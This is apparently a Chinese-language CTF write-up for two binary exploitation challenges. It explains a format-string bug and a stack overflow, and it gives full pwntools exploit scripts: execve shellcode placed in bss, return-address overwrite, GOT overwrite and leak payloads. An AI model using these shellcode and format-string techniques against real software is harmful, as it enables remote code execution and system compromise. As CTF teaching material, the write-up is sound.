pwn1
thoughts
在第一个子函数布置shellcode(bss段的地址可定位)。
puts("I'm zhouheiya, what about you?");
read(0, &format, 0x32u);
printf(&format);
此处存在bof,计算偏移覆盖返回地址为bss段中shellcode地址即可。
puts("I'm datouerzi, what about you?");
__isoc99_scanf("%s", &format);
printf(&format);
总结
- 存在格式化串漏洞 & got表,可以获得printf函数的实际地址
- 格式化串漏洞,当format和参数都在栈上时,可以利用该漏洞 结合 函数的got表,泄漏函数的实际地址。
- 当存在bof时,可以使用ret2libc,布置返回地址为func的地址、虚假的返回地址、func的参数。(利用system执行/bin/sh 利用write输出地址的值)
exp
from pwn import *
debug = 1
local = 1
attach = local & 1
bps = attach & 0
proc_name = 'pwn1'
#socat TCP4-LISTEN:10001,fork EXEC:./pwn1
ip = '127.0.0.1'
port = 10001
io = None
def makeio():
global io
if local:
io = process(proc_name)
else:
io = remote(ip,port)
def ru(data):
return io.recvuntil(data)
def rv():
return io.recv()
def sl(data):
return io.sendline(data)
def rl():
return io.recvline()
def pwn():
makeio()
if debug:
context.log_level = 'debug'
if attach:
if bps:
gdb.attach(pidof(proc_name)[0], open('bps'))
else:
gdb.attach(pidof(proc_name)[0])
#21 bytes
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
sc_addr = 0x804a0a0 + 0x0c
payload = 'huangmenji\x00\x00' + shellcode
ru("what about you?\n");sl(payload)
ru("what about you?\n");sl('zhaoritian')
ru("what about you?\n");sl('beita')
ru("what about you?\n");sl('jerry')
payload = 'xiaotoubaba'
payload = payload.ljust(0x3e,'A') + p32(sc_addr)
ru("what about you?\n");sl(payload)
io.interactive()
if __name__ == '__main__':
pwn()
pwn2
thoughts
- 存在格式化漏洞:scanf读入最多24个字节的字符串之后,该字符串直接作为printf的format输出。因此可以任意读写。
- 程序中存在system(“/bin/sh”)的函数地址。
- 利用格式化串漏洞把sys_addr 写入puts或 fflush的got表中,完成利用。
__isoc99_scanf("%24s", &v5);
printf("Hello ");
printf((const char *)&v5);
puts("!");
fflush(stdout);
总结
- gdb attach时,只能attach到程序输入之后的地方。此时,eip如果很深,设置断点之后c即可回到main函数。
- scanf对于某些字符不能读入:
\x00 & (if character is a white-space)
’ ‘ | (0x20) | space (SPC) |
---|---|---|
‘\t’ | (0x09) | horizontal tab (TAB) |
‘\n’ | (0x0a) | newline (LF) |
‘\v’ | (0x0b) | vertical tab (VT) |
‘\f’ | (0x0c) | feed (FF) |
‘\r’ | (0x0d) | carriage return (CR) |
3. 常用格式化串payload:
puts = 0x0804A018
ret_addr = 0x080485AD
ret_l = ret_addr & 0xffff;ret_h = ret_addr >>16
offset = 7
payload = "%" + str(ret_h) + "c%15$hn%" + str( ret_l -ret_h) + "c%14$hnAA"
payload = payload.ljust(28,'A')
payload += p32(puts) + p32(puts+0x2)
sl(payload)
io.interactive()
- 计算格式化offset时,若输入长度没有限制,可以利用:
def exec_fmt(payload):
if local:
p = process(proc_name)
else:
p = remote(ip,port)
p.recvuntil('name\n')
p.sendline(payload)
info = p.recv()
p.close()
return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset
若payload长度没有限制,可以如此利用来写(参考pingme)
offset = 7
payload = fmtstr_payload(offset, {printf_got: system_addr})
p.sendline(payload)
- 利用格式化串漏洞读某个got表地址:
ru('name?\n')
payload = p32(0x0804A01C) + "%7$s"
sl(payload)
string = rv()
print "%#x" % u32(string[10:14])
exp
from pwn import *
import time
debug = 1
local = 1
attach = local & 0
bps = attach & 1
proc_name = 'pwn3'
#socat TCP4-LISTEN:10001,fork EXEC:./pwn3
ip = '127.0.0.1'
port = 10001
io = None
def makeio():
global io
if local:
io = process(proc_name)
else:
io = remote(ip,port)
def ru(data):
return io.recvuntil(data)
def rv():
return io.recv()
def sl(data):
return io.sendline(data)
def rl():
return io.recvline()
def pwn():
makeio()
if debug:
context.log_level = 'debug'
if attach:
if bps:
gdb.attach(pidof(proc_name)[0], open('bps'))
else:
gdb.attach(pidof(proc_name)[0])
puts = 0x0804A018
ret_addr = 0x080485AD
payload = "%" +str(ret_addr)+ "c%11$n"
payload = payload.ljust(16,'A')
payload += p32(puts)
# writes = {puts: ret_addr}
# payload = fmtstr_payload(7, writes,write_size='int')
# print payload
sl(payload)
io.interactive()
if __name__ == '__main__':
pwn()